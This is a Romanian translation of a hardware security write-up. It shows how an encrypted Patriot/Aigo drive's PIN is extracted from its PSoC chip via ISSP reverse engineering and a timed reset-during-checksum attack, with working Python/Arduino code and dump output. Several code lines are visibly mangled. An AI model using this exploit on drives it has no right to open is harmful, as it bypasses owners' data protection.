Aceasta este partea a doua și finală a articolului despre spargerea unităților externe de stocare auto-criptate. Vreau să vă amintesc că recent un coleg mi-a adus un hard disk Patriot (Aigo) SK8671 și am decis să-l analizez, iar acum împărtășesc ce am descoperit. Înainte de a continua, asigurați-vă că ați citit articolului.

4. Începem să facem dump de pe flash-ul intern PSoC
Deci, totul indică (așa cum am stabilit în [prima parte]()), că PIN-ul este stocat în adâncurile flash ale PSoC-ului. Prin urmare, trebuie să citim aceste adâncuri flash. Frontul muncii necesare:
- preluarea controlului asupra „comunicării” cu microcontrolerul;
- găsirea unei modalități de a verifica dacă această „comunicare” este protejată de citirea externă;
- găsirea unei modalități de a ocoli protecția.
Există două locuri unde are sens să căutăm un PIN valid:
- memoria flash internă;
- SRAM, unde PIN-ul poate fi stocat pentru a fi comparat cu PIN-ul introdus de utilizator.
Pe scurt, vreau să subliniez că am reușit să fac dump de pe flash-ul intern al PSoC-ului, – ocolind sistemul său de protecție printr-un atac hardware „trasare cu resetare la rece” – după ce am răsucit funcțiile ne-documentate ale protocolului ISSP. Acest lucru mi-a permis să fac dump-ul direct al PIN-ului activ.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Codul programului final:
- ;
- .
5. Protocollul ISSP
5.1. Ce este ISSP
„Comunicarea” cu microcontrolerul poate însemna lucruri diferite: de la „vendor la vendor”, până la interacțiunea printr-un protocol serial (de exemplu, ICSP pentru PIC-urile de la Microchip).
La Cypress, pentru aceasta, există un protocol propriu numit ISSP (in-system serial programming protocol; protocolul de programare serială în sistem), care este parțial descris în . oferă și unele informații. Există, de asemenea, o variantă OpenSource numită HSSP (o vom utiliza un pic mai târziu). ISSP funcționează după cum urmează:
- reporniți PSoC;
- transmiteți numărul magic pe pinul de date seriale al acestui PSoC; pentru a intra în modul de programare externă;
- trimiteți comenzi, care sunt șiruri lungi de biți, numite „vectores”.
În documentația ISSP, aceste vectoare sunt definite doar pentru un număr mic de comenzi:
- Initialize-1
- Initialize-2
- Initialize-3 (variante 3V și 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, unde dddddddd=bloc #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, unde DDDDDDDD = date de ieșire, aaaaaa = adresă (6 biți)
- WRITE-BYTE: 10010aaaaaadddddddd111, unde dddddddd = date de intrare, aaaaaa = adresă (6 biți)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, unde DDDDDDDDDDDDDDDD = date de ieșire: suma de control a dispozitivului
- ERASE BLOCK
De exemplu, vectorul pentru Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Toate vectoarele au aceeași lungime: 22 biți. În documentația HSSP există unele informații suplimentare despre ISSP: „Vectorul ISSP nu este nimic altceva decât un șir de biți, care reprezintă un set de instrucțiuni”.
5.2. Demistificarea vectorilor
Să vedem ce se întâmplă aici. Inițial, am presupus că aceste vectoare sunt variante raw ale instrucțiunilor M8C, dar verificând această ipoteză, am descoperit că codurile de operațiuni nu se potrivesc.
Apoi, am căutat vectorul menționat anterior și am dat peste cercetare, unde autorul, deși nu intră în detalii, oferă câteva sugestii utile: „Fiecare instrucțiune începe cu trei biți, care corespund uneia dintre cele patru mnemonici (citirea din RAM, scrierea în RAM, citirea registrului, scrierea registrului). Apoi urmează o adresă de 8 biți, după care 8 biți de date (citite sau pentru scriere) și în final trei biți de stop”.
Apoi am reușit să obțin informații foarte utile din secțiunea „Supervisory ROM (SROM)” . SROM este o ROM hardcodată în PSoC, care oferă funcții de serviciu (pe un principiu similar cu Syscall) – pentru codul software executat în spațiul utilizatorului:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Comparând numele vectorilor cu funcțiile SROM, putem asocia diferitele operațiuni suportate de acest protocol - cu parametrii SROM așteptați. Datorită acestui lucru, putem decoda primii trei biți ai vectorilor ISSP:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Totuși, o înțelegere completă a proceselor interne ale cipului se poate obține doar prin comunicarea directă cu PSoC.
5.3. Comunicația cu PSoC
Deoarece Dirk Petrautsky a portat deja Vă rog să rețineți că, în timpul cercetărilor mele, am modificat destul de mult codul lui Dirk. Modificarea mea o puteți găsi pe GitHub:
și scriptul Python corespunzător pentru comunicarea cu Arduino, în depozitul meu cypress_psoc_tools .
Apoi am creat câțiva vectori simpli de-ai mei, pentru scrierea și citirea memoriei/registrilor. Rețineți că putem citi întreaga SROM, chiar dacă memoria flash este protejată!
5.4. Identificarea registrelor interne ale cipului
Privind la vectorii „dezasamblați”, am descoperit că dispozitivul folosește registre nedocumentate (0xF8-0xFA), pentru a specifica opcode-urile M8C, care sunt executate direct, ocolind protecția. Acest lucru mi-a permis să rulez diverse opcode-uri, cum ar fi „ADD”, „MOV A, X”, „PUSH” sau „JMP”. Datorită lor (privind efectele secundare pe care le au asupra registrelor) am putut determina care dintre registrele nedocumentate sunt, de fapt, registre obișnuite (A, X, SP și PC).
În cele din urmă, codul „dezasamblat” generat de instrumentul HSSP_disas.rb arată astfel (pentru claritate, am adăugat comentarii):
În concluzie, codul „dezassemblat” generat de instrumentul HSSP_disas.rb arată astfel (pentru claritate, am adăugat comentarii):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reset flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # mandatory argument for SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarly
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... up to 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06 # syscall number: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undocumented operation: execute external opcode
5.5. Bits de protecție
La acest stadiu, deja pot interacționa cu PSoC, dar încă nu am informații clare despre bitii de protecție ai flash-ului. Am fost foarte surprins de faptul că Cypress nu oferă utilizatorului dispozitivului nicio unealtă pentru a verifica dacă protecția este activată. Am aprofundat căutările pe Google pentru a înțelege definitiv că codul HSSP furnizat de Cypress a fost actualizat după ce Dirk a lansat propria modificare. Iată! A apărut un nou vector:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # arguments necunoscute
[9F E0 1C] wrmem 0xFF, 0x00 # similar
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # syscall nedocumentat !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Folosind acest vector (vezi read_security_data în psoc.py), obținem toți bitii de protecție în SRAM la 0x80, unde fiecare bloc protejat are câte doi biți.
Rezultatul este dezamăgitor: totul este protejat în modul „dezactivează citirea și scrierea externe”. Prin urmare, nu putem citi nimic din flash, și nu putem scrie nici (de exemplu, pentru a implementa un ROM dumper). Singura modalitate de a dezactiva protecția este de a șterge complet întreaga cip. 🙁
6. Prima atac (neînscrisă): ROMX
Totuși, putem încerca să facem acest truc: având posibilitatea de a executa opcode-uri arbitrare, de ce să nu executăm ROMX, care este aplicat pentru citirea memoriei flash? Această abordare are șanse destul de bune de succes. Deoarece funcția ReadBlock, care citește date din SROM (utilizată de vectori), verifică dacă este apelată din ISSP. Cu toate acestea, opcode-ul ROMX, se presupune că nu are o astfel de verificare. Așadar, iată codul Python (după adăugarea câtorva clase auxiliare în codul C al Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "x" % ord(byte[0]) # print ROM byteDin păcate, acest cod nu funcționează. 🙁 De fapt, funcționează, dar la ieșire obținem propriile noastre opcode-uri (0x28 0x30 0x40)! Nu cred că funcționalitatea corespunzătoare a dispozitivului este un element de protecție împotriva citirii. Părea mai mult un truc de inginerie: executând opcode-uri externe, magistrala ROM este redirecționată către un buffer temporar.
7. Al doilea atac: trasare cu resetare la rece
Deoarece trucul cu ROMX nu a funcționat, am început să mă gândesc la o altă variantă a acestui truc – descrisă într-o publicație .
7.1. Implementare
În documentația ISSP este prezentat următorul vector pentru CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Aici, în esență, se face apel la funcția SROM 0x07, așa cum este prezentat în documentație (cursiv al meu):
Această funcție verifică suma de control. Calculează o sumă de control de 16 biți pentru numărul de blocuri specificat de utilizator – într-un singur banc de flash, începând de la zero. Parametrul BLOCKID este utilizat pentru a transmite numărul de blocuri care va fi utilizat la calcularea sumei de control. Valoarea „1” va calcula suma de control doar pentru blocul zero; în timp ce „0” va duce la calcularea sumei de control totale pentru toate cele 256 de blocuri ale bancului de flash. Suma de control de 16 biți este returnată prin KEY1 și KEY2. În parametrul KEY1 sunt fixate cele mai mici 8 biți ai sumei de verificare, iar în KEY2 - cei mai mari 8 biți. Pentru dispozitivele cu mai multe chip-uri flash, funcția de sumă de verificare este apelată pentru fiecare în parte. Numărul chip-ului cu care va funcționa este setat prin registrul FLS_PR1 (prin activarea bitului corespunzător chip-ului flash țintă).
Observați că aceasta este cea mai simplă sumă de verificare: byte-urile sunt pur și simplu adunate una după alta; fără trucuri complexe CRC. În plus, știind că în nucleul M8C setul de registre este foarte mic, am presupus că în calculul sumei de verificare, valorile intermediare vor fi stocate în aceleași variabile, care în final vor ieși: KEY1 (0xF8) / KEY2 (0xF9).
Așadar, în teorie, atacul meu arată așa:
- Ne conectăm prin ISSP.
- Pornim calculul sumei de verificare, folosind vectorul CHECKSUM-SETUP.
- Rebootăm procesorul după o perioadă de timp T.
- Cititm RAM-ul pentru a obține suma de verificare curentă C.
- Repetăm pașii 3 și 4, crescând puțin T de fiecare dată.
- Restaurăm datele din flash prin scăderea sumei de verificare anterioare C din cea curentă.
Totuși, a apărut o problemă: vectorul Initialize-1, pe care trebuie să-l trimitem după reboot, rescrie KEY1 și KEY2:
1100101000000000000000 # Magia care transformă PSoC în modul de programare
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # suma de verificare este rescrisă aici
[9F 20 7C] wrmem KEY2, 0x03 # și aici
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # Funcția SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Acest cod șterge suma noastră de verificare prețioasă, apelând Calibrate1 (Funcția SROM 9)… Poate reușim, doar trimițând numărul magic (din începutul codului de mai sus), să intrăm în modul de programare și apoi să citim SRAM-ul? Și da, funcționează! Codul Arduino care implementează acest atac este destul de simplu:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Citit checkum_delay.
- Pornit calculul sumei de verificare (send_checksum_v).
- Așteptați intervalul de timp specificat, având în vedere următoarele capcane:
- am pierdut o grămadă de timp, până când am aflat că funcționează corect doar cu întârzieri de maximum 16383 μs;
- și apoi am mai pierdut la fel de mult timp, până când am descoperit că delayMicroseconds, dacă îi transmitem 0 ca intrare, funcționează complet greșit!
- Reporniți PSoC în modul de programare (pur și simplu trimitem un număr magic, fără a trimite vectorii de inițializare).
Codul final în Python:
for delay in range(0, 150000): # delay in microseconds
for i in range(0, 10): # number of readings for each delay
try:
reset_psoc(quiet=True) # reboot and enter programming mode
send_vectors() # send initialization vectors
ser.write("x85"+struct.pack(">I", delay)) # calculate checksum + reboot after delay
res = ser.read(1) # read arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # open serial port
continue
print "d X X X" % (delay, # read RAM bytes
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Pe scurt, ce face acest cod:
- Repornește PSoC (și îi trimite un număr magic).
- Trimite vectorii compleți de inițializare.
- apelează funcția Arduino Cmnd_STK_START_CSUM (0x85), unde întârziera este transmisă ca parametru în microsecunde.
- Citește suma de control (0xF8 și 0xF9) și registrul nedocumentat 0xF1.
Acest cod este executat de 10 ori în 1 microsecundă. 0xF1 este inclus aici, deoarece a fost singurul registru care s-a schimbat la calculul sumei de control. Probabil este o variabilă temporală folosită de unitatea aritmetico-logica. Rețineți hack-ul urât, prin care repornesc Arduino, folosind picocom, atunci când Arduino nu dă semne de viață (nu am idee de ce).
7.2. Citim rezultatul
Rezultatul execuției scriptului Python arată așa (simplificat pentru citire):
DELAY F1 F8 F9 # F1 – registrul necunoscut menționat mai sus
# F8 byte-ul inferior al sumei de control
# F9 byte-ul superior al sumei de control
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # suma de control este resetată la 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-byte: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # nu am idee ce se întâmplă aici
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Din nou E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, am înțeles! Aici se face transferul în byte-ul superior
00063 01 17 01
[...]
00075 CC 17 01 # Deci, 0x117-0xE7: 0x30Totuși, avem o problemă: deoarece lucrăm cu suma de control efectivă, byte-ul zero nu schimbă valoarea citită. Cu toate acestea, deoarece întreaga procedură de calcul (8192 byte) durează 0,1478 secunde (cu mici abateri la fiecare rulare), ceea ce corespunde aproximativ 18,04 µs pe byte – putem folosi acest timp pentru a verifica valoarea sumei de control în momente potrivite. Pentru primele rulări, totul este citit destul de ușor, deoarece durata de execuție a procedurii de calcul este întotdeauna practic constantă. Totuși, sfârșitul acestui dump este mai puțin precis, deoarece „devierea nesemnificativă în timp” la fiecare rulare – se adună și devine semnificativă:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDAcesta este 10 dumpe pentru fiecare întârziere de microseconde. Timpul total de operare pentru a prelua dump-ul tuturor celor 8192 byte-uri de flash este de aproximativ 48 de ore.
7.3. Reconstrucția binarului flash
Încă nu am terminat de scris codul care reconstruiește complet codul software al flash-ului, ținând cont de toate abaterile de timp. Totuși, am recuperat începutul acestui cod. Pentru a mă asigura că l-am realizat corect, l-am dezassemblat cu ajutorul m8cdis:
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retPare a fi destul de plauzibil!
7.4. Găsim adresa de stocare a pinului
Acum, când putem citi suma de control în momentele necesare, – putem verifica cu ușurință cum și unde se schimbă aceasta atunci când:
- introducem un pin greșit;
- modificăm pinul.
La început, pentru a găsi adresa aproximativă de stocare, am realizat un dump al sumei de control la fiecare 10 ms, după repornire. Apoi am introdus un pin greșit și am făcut la fel.
Rezultatul a fost destul de neplăcut, fiindcă au fost multe modificări. Dar, în cele din urmă, am reușit să stabilim că suma de control s-a schimbat undeva între 120000 µs și 140000 µs de întârziere. Dar „pinul” pe care l-am descoperit acolo era complet greșit – din cauza artefactului procedurii delayMicroseconds, care face lucruri inexplicabile atunci când primește 0.
Apoi, după aproape 3 ore, mi-am amintit că apelul sistemului SROM CheckSum primește ca argument numărul de blocuri pentru suma de control! Astfel, putem localiza fără efort adresa de stocare a pinului și a contorului „încercărilor greșite”, – cu o precizie de 64 de octeți.
Primele mele teste au dat următorul rezultat:

Apoi am schimbat pinul din „123456” în „1234567” și am obținut:

Astfel, pinul și contorul încercărilor greșite par să fie stocate în blocul nr. 126.
7.5. Facem un dump al blocului nr. 126
Blocul nr. 126 ar trebui să se afle undeva în jurul valorii de 125x64x18 = 144000 µs, de la începutul calculului sumei de control, în dumpul meu complet, și arată destul de plauzibil. Apoi, după filtrarea manuală a numeroaselor dumpuri greșite (din cauza acumulării „abaterilor neesențiale de timp”), am obținut aceste byte-uri (la o întârziere de 145527 µs):

Este absolut evident că pinul este stocat în formă necriptată! Aceste valori, desigur, nu sunt în coduri ASCII, dar s-a dovedit că reflectă citirile extrase de pe tastatura capacitivă.
În cele din urmă, am efectuat câteva teste suplimentare pentru a găsi unde este stocat contorul de încercări greșite. Iată rezultatul:

0xFF – înseamnă „15 încercări”, și se reduce cu fiecare încercare greșită.
7.6. Recuperarea pinului
Iată codul meu urât, care adună tot ce am spus anterior:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printIată rezultatul execuției sale:
$ .\/psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Ura! Funcționează!
Fii atent că valorile întârzierii pe care le-am folosit sunt, cel mai probabil, valabile pentru un anumit PSoC – cel pe care l-am folosit eu.
8. Ce urmează?
Așadar, să rezumăm din perspectiva PSoC, în contextul dispozitivului nostru de stocare Aigo:
- putem citi SRAM, chiar dacă aceasta este protejată împotriva citirii;
- putem ocoli protecția împotriva citirii printr-un atac de „trace cold reboot” și citirea directă a pinului.
Cu toate acestea, atacul nostru are unele neajunsuri – din cauza problemelor de sincronizare. Ar putea fi îmbunătățit în următoarele moduri:
- să scriem o utilitate pentru a decoda corect datele de ieșire obținute din atacul de „trace cold reboot”;
- să utilizăm un FPGA pentru a crea întârzieri temporale mai precise (sau să folosim temporizatoare hardware Arduino);
- a încerca un alt atac: a introduce un cod PIN greșit, a reporni și a scurge RAM-ul, sperând că codul PIN corect va fi salvat în RAM pentru comparare. Totuși, pe Arduino nu este atât de simplu de realizat, deoarece nivelul semnalului Arduino este de 5 volți, în timp ce placa pe care o analizăm funcționează cu semnale de 3,3 volți.
Un lucru interesant de încercat ar fi să joacă cu nivelul tensiunii, pentru a ocoli protecția împotriva citirii. Dacă acest abordare ar funcționa, am putea obține date absolut precise de pe flash, în loc să ne bazăm pe citirea sumelor de control cu întârzieri temporale imprecise.
Deoarece SROM probabil citește biții de protecție printr-un apel de sistem ReadBlock, am putea face același lucru în blogul lui Dmitri Nedoroslov – o reimplementare a atacului lui Chris Gerlinski, anunțat la conferința .
Încă un lucru interesant de realizat ar fi să îndepărtăm carcasa cipului: pentru a extrage un dump SRAM, a identifica apeluri de sistem nedocumentate și vulnerabilități.
9. Concluzie
Așadar, protecția acestui dispozitiv lasă de dorit, deoarece folosește un microcontroler obișnuit (nu "hardend") pentru stocarea codului PIN... În plus, nu am verificat (încă) cum stau lucrurile cu criptarea datelor pe acest dispozitiv!
Ce se poate sugera pentru Aigo? Analizând câteva modele de HDD-uri criptate, în 2015 am realizat la SyScan, în care am discutat despre problemele de securitate ale mai multor HDD-uri externe și am oferit recomandări pentru îmbunătățiri. 🙂
Am petrecut două weekenduri și câteva seri pentru această cercetare. În total, aproximativ 40 de ore. Numărând de la început (când am deschis discul) și până la final (dump-ul codului PIN). În aceste 40 de ore sunt incluse și timpul pe care l-am petrecut scriind acest articol. A fost o călătorie foarte captivantă.
Sursa: habr.com
